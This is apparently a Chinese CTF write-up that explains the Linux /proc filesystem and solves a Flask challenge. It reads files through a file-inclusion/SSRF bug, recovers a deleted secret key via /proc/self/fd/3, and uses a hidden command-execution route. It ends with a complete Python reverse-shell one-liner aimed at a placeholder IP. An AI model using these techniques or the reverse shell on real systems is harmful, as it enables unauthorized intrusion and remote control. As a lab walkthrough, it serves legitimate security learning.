# 知识点

liunx 中 用户和应用程序可以通过 proc 得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取 proc 文件时,proc 文件系统是动态从系统内核读出所需信息并提交的。

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在 /proc 下,以进程的 PID 号为目录名,他们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口,是一个 link

1
2
3
4
5
6
7
8
9
cat /proc/[PID]/cmdline    #包含进程的完整命令行信息
/proc/[pid]/comm #包含进程的命令名。
/proc/[pid]/cwd #进程当前工作目录的符号链接
/proc/[pid]/environ #显示进程的环境变量
/proc/[pid]/fd #包含进程打开文件的情况
/proc/[pid]/fd/[1-?] #指定进程打开的某个文件的内容,为数字
/proc/[pid]/exe #为实际运行程序的符号链接

self #当前进程

注意:在真正做题的时候,我们是不能通过命令的方式执行通过 cat 命令读取 cmdline 的。因为如果 cat 读取 /proc/self/cmdline/ 的话,得到的是 cat 进程的信息。所以我们要通过题目的当前进程使用读取文件(比如,文件包含漏洞,,SSTI,,file:\\ 本地读取,,…/…/…/ 目录穿越,,SSRF)的方式读取 /proc/self/cmdline

# 题目分析

题目开局给了个框随手测试了一下 /flag????直接白给?正常做题

存在 包含

1
/etc/passwd  #成功读取文件

读取当前命令信息

1
/proc/self/cmdline  #python2 app.py

尝试读出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html') # 访问/根目录是渲染search.html


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url) # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"search.html
return render_template('search.html', res=value) # 将value(url获取的内容)渲染到search.html页面


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell) # 这里如果key=SECRET_KEY,那么就从URL中获取shell参数并用system函数(无回显)执行。
res = "ok"
else:
res = "Wrong Key!"
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)


一个标准的 flask 利用点 当 key == SECRET_KEY 执行 shell

尝试读取 /tmp/secret.txt 函数执行读取后删除文件 利用 /proc/self/fd/3 读取文件执行内容

1
?url=/proc/self/fd/3

爆破最后一位数字

image-20210715101458401

获得 key ncq/GKZNN9w898fP5q5hkv1aJzhqwvR9BVuR9ZZ/sro= 接下来构造命令

# 利用

python 反弹 shell

1
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx,xxx,xxx,xxx',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"